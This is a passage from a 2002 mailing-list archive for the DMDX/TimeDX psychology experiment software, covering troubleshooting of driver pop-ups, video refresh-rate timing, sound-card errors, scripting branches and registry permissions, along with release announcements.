-0700, you wrote: >>Why? Because I have a 90 minute battery of psychophysiological tests >>written in DMDX that runs automatically from a ""dos"" batch file. The >>pop-up window would force me to wake up every couple of minutes to keep >>things running :) Another thing is that DMDX now has a chain command that makes batch files less mandatory than previously: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhchainkeyword.htm If you need control across chains then counters can be saved and restored: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsavecounterskeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhrestorecounterskeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 23 03:31:45 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7NAV9MS010691 for ; Fri, 23 Aug 2002 03:31:10 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id g7NAVC8f015640 for ; Fri, 23 Aug 2002 12:31:12 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Fri, 23 Aug 2002 12:31:12 +0200 Message-Id: Date: Fri, 23 Aug 2002 12:28:55 +0200 From: ""Derek Eder"" To: Subject: [DMDX] Re: DMDX 3.0.0.00 and DriverLINX pop up Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just a little more background on the problem: 1) Running DMDX or TIMEDMDX (version 3.0) always begins with an ""Open Driver LINX"" pop-up menu which asks you to select either the PIO-12 driver or the Windows 95/3.* legacy drivers. 2) The file: C:\\DrvLINX4\\bin\\aboutdx.exe generates this ""op-up"". But! disabling this file (and rebooting) does not stop the behavior with DMDX. 3) DMDX does not need this ""pop-up"" to function. Clicking ""Cancel"" or exits the 'pop-up' and DMDX starts normally. I want to stick with a batch file 'chaining' of DMDX item files because I feed the subject ID to DMDX through a %1 argument to the batch file call and do a few DOS things like renaming and moving .AZK files. This is a bit of a pain in the ascii in Windows 98 because Win98 'dos' mode does not recognize extended file names (e.g., NOT: cd\\my DMDX directory\\e_meter validation.azk) - Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� straket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 2-6139 (office) Tlf. +46 (031) 34 2-1283 (laboratory) Tlf. +46 0709 / 7 2-1283 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 23 09:10:14 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7NG3FMS011458 for ; Fri, 23 Aug 2002 09:03:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D5A23F60013B509 for DMDX@psy1.psych.arizona.edu; Fri, 23 Aug 2002 09:03:17 -0700 Message-Id: <5.1.0.14.2.20020823090043.00b127a8@psy1.psych.arizona.edu> Date: Fri, 23 Aug 2002 09:03:17 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.00 and DriverLINX pop up In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:28 PM 8/23/2002 +0200, you wrote: >Just a little more background on the problem: > >1) Running DMDX or TIMEDMDX (version 3.0) always begins with an ""Open >Driver LINX"" pop-up menu which asks you to select either the PIO-12 driver >or the Windows 95/3.* legacy drivers. > >2) The file: C:\\DrvLINX4\\bin\\aboutdx.exe generates this >""op-up"". But! disabling this file (and rebooting) does not stop the >behavior with DMDX. > >3) DMDX does not need this ""pop-up"" to function. Clicking ""Cancel"" or > exits the 'pop-up' and DMDX starts normally. Hmm, I suspect you have to run the DriverLINX configuration program. >I want to stick with a batch file 'chaining' of DMDX item files because I >feed the subject ID to DMDX through a %1 argument to the batch file call >and do a few DOS things like renaming and moving .AZK files. This is a >bit of a pain in the ascii in Windows 98 because Win98 'dos' mode does not >recognize extended file names (e.g., NOT: cd\\my DMDX directory\\e_meter >validation.azk) It does if you put quotes around the name: cd ""\\my DMDX directory"" /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 26 12:52:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7QJm2MS019816 for ; Mon, 26 Aug 2002 12:48:07 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D6A36EF0000E65B for DMDX@psy1.psych.arizona.edu; Mon, 26 Aug 2002 12:47:55 -0700 Message-Id: <5.1.0.14.2.20020826123416.00b130d8@psy1.psych.arizona.edu> Date: Mon, 26 Aug 2002 12:47:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Radeon VE Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list And there was I complaining about GeForce cards needing the number of back buffers restricted to 4. ATI's Radeon VE needs to have the number reduced to 1. Maybe it's better with XP but I'm not willing to try it, I tried all versions of their drivers under Windows ME but all fail miserably. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Our policy is, when in doubt, do the right thing. - Roy L. Ash, ex-president Litton Industries >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 28 10:55:33 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7SHf7MS023813 for ; Wed, 28 Aug 2002 10:41:07 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D6B01EA0004410B for DMDX@psy1.psych.arizona.edu; Wed, 28 Aug 2002 10:40:54 -0700 Message-Id: <5.1.0.14.2.20020828103404.00b13108@psy1.psych.arizona.edu> Date: Wed, 28 Aug 2002 10:40:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] TimeDX 3.0.01 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This one's huge but till version 3 settles down and I've finished adding things I'm just using minor version numbers. I just discovered a flag added in DirectX 7 that actually allows TimeDX to see all the different refresh rates as long as you're using Windows XP. It might work with 2k too but I don't have a 2k box that I care to check this on, it definitely doesn't work on ME or 98. You'll have to explicitly use that refresh rate in DMDX, for instance , but that was always the intention anyway. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 29 10:37:09 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7THTNMS025748 for ; Thu, 29 Aug 2002 10:29:23 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D6B01EA0006EFFB for DMDX@psy1.psych.arizona.edu; Thu, 29 Aug 2002 10:29:07 -0700 Message-Id: <5.1.0.14.2.20020829102244.00b13108@psy1.psych.arizona.edu> Date: Thu, 29 Aug 2002 10:29:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Radeon VE In-Reply-To: <3D6E3F14.30406@ua.ac.be> References: <5.1.0.14.2.20020826123416.00b130d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:34 PM 8/29/2002 +0200, you wrote: >Hi Jonathan, > >I don't know if it's anything for the list, As a rule everything should go to the list. >so I'll send it to you first. I have an XP system with a Radeon VE that's >running DMDX 3.0.01 without crashing the drivers. Why shouldn't that go to the list? You've found that the card is usable under XP. > However, the refresh rates tests give strange effects: sometimes there > are hiccups for a few frames and then the refresh goes on again smoothly; > this happens even after 500 frames. Also, the refresh rate values don't > seem to be determined completely accurately (1 or 2 ms higher or lower > than what can be expected from the screen's information). Starting TimeDX > with 'buffers -1' doesn't remedy the situation. ""buffers -1"" only applies to DMDX, TimeDX only ever uses one buffer. You might try the options that come with the Retrace Test, perhaps they will rectify the estimation errors. Override the automatic values if you notice TimeDX still gets the retrace interval wrong, the thing isn't perfect and driver writers are continually doing things to foil detection of the hardware's state. Don't forget to set the sleeping time to 3 or so milliseconds less than the retrace and the timeout to .5 milliseconds or so over the retrace interval. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 30 02:38:04 2002 Received: from ultra.yu.ac.kr (ultra.yeungnam.ac.kr [165.229.11.15]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7U9bGMS027126 for ; Fri, 30 Aug 2002 02:37:17 -0700 Received: from ynucc.yu.ac.kr (ynucc [165.229.11.3]) by ultra.yu.ac.kr (v3smtp 8.11.6.4/8.11.6) with ESMTP id g7U9av728252 for ; Fri, 30 Aug 2002 18:36:57 +0900 (KST) Received: from pc040060 (pc040060.yeungnam.ac.kr [165.229.40.60]) by ynucc.yu.ac.kr (8.11.6/8.11.6) with SMTP id g7U9at015544 for ; Fri, 30 Aug 2002 18:36:57 +0900 (KST) Message-ID: <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> From: ""Kwangoh Yi"" To: References: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> Subject: [DMDX] Errors with digitalVox Date: Fri, 30 Aug 2002 18:42:27 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I always get the following error message when I try to use DMDX Test Vox and TimeDX Sound Test for speech input. CreateCaptureBuffer failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as a priority level) were already being used by another caller According to the advice in the help file, I successively shut down several running tasks with the cntrl-alt-del End Task button and looked for which one is the culprit. I found no task responsible for the errors. Are there any other possibilities for the error message. My Windows 98 system is running on a Pentium III machine with a CIO-DIO24, a Soundblaster AWE64 card (ISA), and a MS serial mouse. Hope someone can help me. Thanks in advance. Kwangoh Yi Department of Psychology Yeungnam University Kyungsan City 712-749 KOREA Tel: +82-53-810-2235 Fax: +82-53-811-3312 E-mail: yiko@yu.ac.kr >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 30 08:45:11 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7UFhxMS027668 for ; Fri, 30 Aug 2002 08:43:59 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D6A36EF000B64FD for DMDX@psy1.psych.arizona.edu; Fri, 30 Aug 2002 08:43:40 -0700 Message-Id: <5.1.0.14.2.20020830084258.00b12848@psy1.psych.arizona.edu> Date: Fri, 30 Aug 2002 08:43:39 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Errors with digitalVox In-Reply-To: <00be01c25009$8ed8dd20$3c28e5a5@yu.ac.kr> References: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> <000b01c21194$55f72f10$ae7ba8c0@richie> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:42 PM 8/30/2002 +0900, you wrote: >Hi, > >I always get the following error message when I try to use DMDX Test Vox >and TimeDX Sound Test for speech input. > > CreateCaptureBuffer failed > DSERR_ALLOCATED (8878000a) > The call failed because the resources (such as a priority level) were > already being used by another caller > >According to the advice in the help file, I successively shut down several >running tasks with the cntrl-alt-del End Task button and looked for which >one is the culprit. I found no task responsible for the errors. Are there >any other possibilities for the error message. > >My Windows 98 system is running on a Pentium III machine with a CIO-DIO24, >a Soundblaster AWE64 card (ISA), and a MS serial mouse. > >Hope someone can help me. Thanks in advance. Go to Creative Labs' home page and download some new drivers for the AWE64. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You can measure a programmer's perspective by noting his attitude on the continuing viability of FORTRAN. - Alan Perlis >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 2 12:49:08 2002 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g82JmNMS003103 for ; Mon, 2 Sep 2002 12:48:23 -0700 Received: from mozart.helios.nd.edu (mozart.helios.nd.edu [129.74.216.6]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id OAA03649 for ; Mon, 2 Sep 2002 14:47:53 -0500 (EST) Received: from localhost (ahill1@localhost) by mozart.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id g82JlqZ02591 for ; Mon, 2 Sep 2002 14:47:52 -0500 (EST) Date: Mon, 2 Sep 2002 14:47:52 -0500 (EST) From: Angelina Maria Copeland To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] staircase Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am trying to write a staircase method routine, but I keep running into problems because of the one branch per item restriction. Is there a way of using the keyword as part of a multiway branch (with, for example )? I would like to loop a single item a certain number of times as long as it is being correctly responded to, but break out of the loop when an error is made. If anyone has done something like this I would greatly appreciate their help. Thanks >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 2 17:35:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g830ZOMS003587 for ; Mon, 2 Sep 2002 17:35:24 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by phobos.email.Arizona.EDU (6.0.053) id 3D6FA8450004BBA8 for DMDX@psy1.psych.arizona.edu; Mon, 2 Sep 2002 17:34:54 -0700 Message-Id: <5.1.0.14.2.20020902172348.00b12840@psy1.psych.arizona.edu> Date: Mon, 02 Sep 2002 17:34:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: staircase In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:47 PM 9/2/2002 -0500, you wrote: >I am trying to write a staircase method routine, but I keep running into >problems because of the one branch per item restriction. Is there a way of >using the keyword as part of a multiway branch (with, for >example )? I would like to loop a single item a certain number of >times as long as it is being correctly responded to, but break out of the >loop when an error is made. If anyone has done something like this I would >greatly appreciate their help. No, the counter branches aren't part of and I don't think I'd ever add them either as they break the general syntax of . But what you can do is stick your tests after the item with items and do more tests beyond the first test in the item that gathers the response as the condition flags stay set till the next response is gathered. Actually your design doesn't even have to rely on the conditions not getting reset: ~10 set c1=10; +11 ""target"" * ; ~0 ; ~12; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 4 17:57:59 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g850vDMS008773 for ; Wed, 4 Sep 2002 17:57:13 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D7690ED000049E9 for DMDX@psy1.psych.arizona.edu; Wed, 4 Sep 2002 17:56:37 -0700 Message-Id: <5.1.0.14.2.20020904173905.00b130d8@psy1.psych.arizona.edu> Date: Wed, 04 Sep 2002 17:56:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 3.0.0.02 and TimeDX 3.0.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Another huge change to TimeDX's video routines, this one applicable to everybody and not just XP users. First the minor part and that is that it occurred to me that without TimeDX enumerating any 0Hz refresh rates anymore the default 640x480 video mode of DMDX was no longer time-able, oops. So now under XP the video modes for 0Hz default refresh rates all get enumerated first and then following are all the specific refresh rates for all the video modes. Now the juicy stuff, I finally crafted a reliable refresh rate detection routine! Hurrah! Only took three or four years but the solution finally hit me this morning (in meditation, where else) after noticing that the old code was overestimating the retrace interval on my GF4 XP machine (by up to 0.5ms) and there have been reports of it getting the rate wrong by as much as 1.5ms on other machines. So now the code has a mechanism for reliably detecting when a flip is missed during the Retrace Rate Detection and assuming you haven't turned off the lovely new Enhanced rate Detection mode it will just keep on waiting till it gets 100 uninterrupted cycles (or whatever you set it to) or it times out after the set limit. To enforce the new code new registry forks are used (that DMDX 3.0.0.02 reads) so re-timing all video modes is mandatory. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 4 18:26:33 2002 Received: from aquila.its.unimelb.EDU.AU (smtp1.unimelb.edu.au [128.250.20.111]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g851QQMS008872 for ; Wed, 4 Sep 2002 18:26:26 -0700 Received: from CONVERSION-DAEMON by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) id <01KM51U4A75C8ZSCG7@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 5 Sep 2002 11:25:48 +1000 Received: from Holmes.psych.unimelb.edu.au (holmes.psych.unimelb.edu.au [128.250.172.37]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01KM51U3Z26W90YOVZ@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 05 Sep 2002 11:25:48 +1000 Date: Thu, 05 Sep 2002 11:30:18 +1000 From: Virginia Holmes Subject: [DMDX] Re: DMDX 3.0.0.02 and TimeDX 3.0.02 In-reply-to: <5.1.0.14.2.20020904173905.00b130d8@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: <5.1.0.14.2.20020905112940.02557d80@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear list Just testing whether this message transmits to list. VMH >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 4 18:57:55 2002 Received: from aquila.its.unimelb.EDU.AU (smtp1.unimelb.edu.au [128.250.20.111]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g851fiMS008955 for ; Wed, 4 Sep 2002 18:41:45 -0700 Received: from CONVERSION-DAEMON by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) id <01KM52E33P00910WBA@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 5 Sep 2002 11:41:07 +1000 Received: from Holmes.psych.unimelb.edu.au (holmes.psych.unimelb.edu.au [128.250.172.37]) by SMTP.UNIMELB.EDU.AU (PMDF V5.2-29 #46888) with ESMTP id <01KM52E2PIMK9115D5@SMTP.UNIMELB.EDU.AU> for DMDX@psy1.psych.arizona.edu; Thu, 05 Sep 2002 11:41:07 +1000 Date: Thu, 05 Sep 2002 11:45:37 +1000 From: Virginia Holmes Subject: [DMDX] test In-reply-to: <5.1.0.14.2.20020904173905.00b130d8@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: <5.1.0.14.2.20020905114510.02562cf0@post.psych.unimelb.edu.au> MIME-version: 1.0 Content-type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list List Sorry, testing again VMH >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 4 22:56:39 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g855u0MS009433 for ; Wed, 4 Sep 2002 22:56:00 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D6A36EF0016BD47 for DMDX@psy1.psych.arizona.edu; Wed, 4 Sep 2002 22:55:23 -0700 Message-Id: <5.1.0.14.2.20020904223153.00b12840@psy1.psych.arizona.edu> Date: Wed, 04 Sep 2002 22:53:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3.0.0.02 and TimeDX 3.0.02 In-Reply-To: <5.1.0.14.2.20020904173905.00b130d8@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:56 PM 9/4/2002 -0700, you wrote: > Now the juicy stuff, I finally crafted a reliable refresh rate > detection routine! Hurrah! Guess I should clarify that before someone infers the wrong thing here. Reliable code that determines what the refresh rate is in TimeDX. Once DMDX knows the retrace interval, even approximately, it can accurately determine when retraces occur. What is at issue is TimeDX determining what that retrace rate is in the first place without any notion of it's actual frequency. Previously on a small number of machines TimeDX needed human intervention to get that retrace interval correct to a small fraction of a millisecond (people who read the help files would know this), with the advent of XP and radically different video drivers the error rate started to go up alarmingly. So while the enhanced code I just crafted today to determine the retrace interval in TimeDX's Retrace Rate Test whose data is used in the Vertical Retrace Test that stores data for DMDX's determination of the raster state is not the ultimate solution that would mathematically determine the frequency of a signal given a number of data points with missing samples and significant variability in any given sample what it can determine without error (as near as I can tell) is when a retrace is missed when trying to determine the retrace interval. So it can just keep waiting till it gets a known number of good samples, there will still be some variability in there but over 100 retrace intervals this should be a small fraction of a millisecond which is just fine. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 6 14:23:27 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g86L8wMS013568 for ; Fri, 6 Sep 2002 14:08:58 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.053) (authenticated as kforster@email.arizona.edu) id 3D78D54F0000D928 for DMDX@psy1.psych.arizona.edu; Fri, 6 Sep 2002 14:08:16 -0700 Message-Id: <5.1.1.6.1.20020906140314.02c00120@kforster.inbox.email.arizona.edu> Date: Fri, 06 Sep 2002 14:10:04 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] NEW RELEASE OF ANALYZE V2.01 Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_21119882==.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_21119882==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed NEW RELEASE OF ANALYZE V2.01 Modification to Subject Rejection Criterion. In previous versions of ANALYZE, the decision to reject the data from a subject altogether was made by specifying a limit on the error rate. For example, including the following line in the .spc file: subject_rejection: 20 meant that any subject who made more than 20% errors would be excluded. However, this error rate was calculated only over the items specified for analysis in the .spc file (also the case for deciding on the SD cutoffs). This is appropriate for determining the SD cutoffs, since in a lexical decision experiment for example, including both words and nonwords for analysis in the one .spc file means that the SD estimate is far higher than it would be for the words alone, or for the nonwords alone. However, this procedure may not be appropriate for the calculation of the overall error rate. Suppose we specify that only the words are to be analyzed in a lexical decision experiment. One subject is unable to perform the task and responds ""Yes"" to every item. His overall error rate will appear as 0%, not 50%. To guard against this, users may specify that the error rate to be used for deciding whether to include a subject or not should be based on all items, whether specified in the .spc file or not. This is done by including the following line in the .spc file: global_rejection Note: this does not affect any other calculation. Also, it only takes into account items that have a distinctive item number. So, for example, if all the practice items are given the same item number, only one of them will enter into the calculation of the overall error rate. The new version may be obtained by downloading the dmdxutils.zip file. --k.i.f. --=====================_21119882==.ALT Content-Type: text/html; charset=""us-ascii"" NEW RELEASE OF ANALYZE V2.01 Modification to Subject Rejection Criterion.         In previous versions of ANALYZE, the decision to reject the data from a subject altogether was made by specifying a limit on the error rate.  For example, including the following line in the .spc file: subject_rejection: 20 meant that any subject who made more than 20% errors would be excluded.  However, this error rate was calculated only over the items specified for analysis in the .spc file  (also the case for deciding on the SD cutoffs).         This is appropriate for determining the SD cutoffs, since in a lexical decision experiment for example, including both words and nonwords for analysis in the one .spc file means that the SD estimate is far higher than it would be for the words alone, or for the nonwords alone.  However, this procedure may not be appropriate for the calculation of the overall error rate.  Suppose we specify that only the words are to be analyzed in a lexical decision experiment.  One subject is unable to perform the task and responds ""Yes"" to every item.  His overall error rate will appear as 0%, not 50%.         To guard against this, users may specify that the error rate to be used for deciding whether to include a subject or not should be based on all items, whether specified in the .spc file or not.  This is done by including the following line in the .spc file: global_rejection         Note:  this does not affect any other calculation.  Also, it only takes into account items that have a distinctive item number.  So, for example, if all the practice items are given the same item number, only one of them will enter into the calculation of the overall error rate.         The new version may be obtained by downloading the dmdxutils.zip file.         --k.i.f.                                    --=====================_21119882==.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 9 13:13:09 2002 Received: from banta.psyc.missouri.edu (banta.psyc.missouri.edu [128.206.38.240]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g89K2fMS020657 for ; Mon, 9 Sep 2002 13:02:41 -0700 Received: from localhost (morey@localhost) by banta.psyc.missouri.edu (8.11.6/8.11.6) with ESMTP id g89K1mS21950 for ; Mon, 9 Sep 2002 15:01:48 -0500 Date: Mon, 9 Sep 2002 15:01:48 -0500 (CDT) From: Richard Morey To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Cannot read registry when not admin In-Reply-To: <5.1.1.6.1.20020906140314.02c00120@kforster.inbox.email.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We have four computers running windows XP pro on them. On 3 of them, I am able to use limited accounts to run DMDX, as long as I specify that the DMDX directory is read/write for limited accounts. On one of them, the first one we used DMDX on, I cannot use a limited account to run DMDX. When I run TimeDX as a limited user, I get an error saying that it cannot open/create SOFTWARE\\TimeDX\\2\\Video_Driver. When I run DMDX, I get a similar error - DMDX can't open the registry key and asks me if I've run TimeDX. Those registry entries are there, and I can view them with Regedit, even as a limited user. When I make that limited user into an administrator, everything works fine - but I really don't want subjects logged in as administrators. Like I said, limited accounts work on three of the four computers; I just can't figure out what makes the computer different from the others. The DMDX version is 2.9.01. Any ideas? -- Richard Morey Graduate Research Assistant, Cognition and Neuroscience University of Missouri-Columbia >From DMDX-owner@psy1.psych.arizona.edu Mon Sep 9 13:52:06 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g89Kq2MS020829 for ; Mon, 9 Sep 2002 13:52:02 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D7C97C400013D79 for DMDX@psy1.psych.arizona.edu; Mon, 9 Sep 2002 13:51:11 -0700 Message-Id: <5.1.0.14.2.20020909134612.00b130d8@psy1.psych.arizona.edu> Date: Mon, 09 Sep 2002 13:51:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. 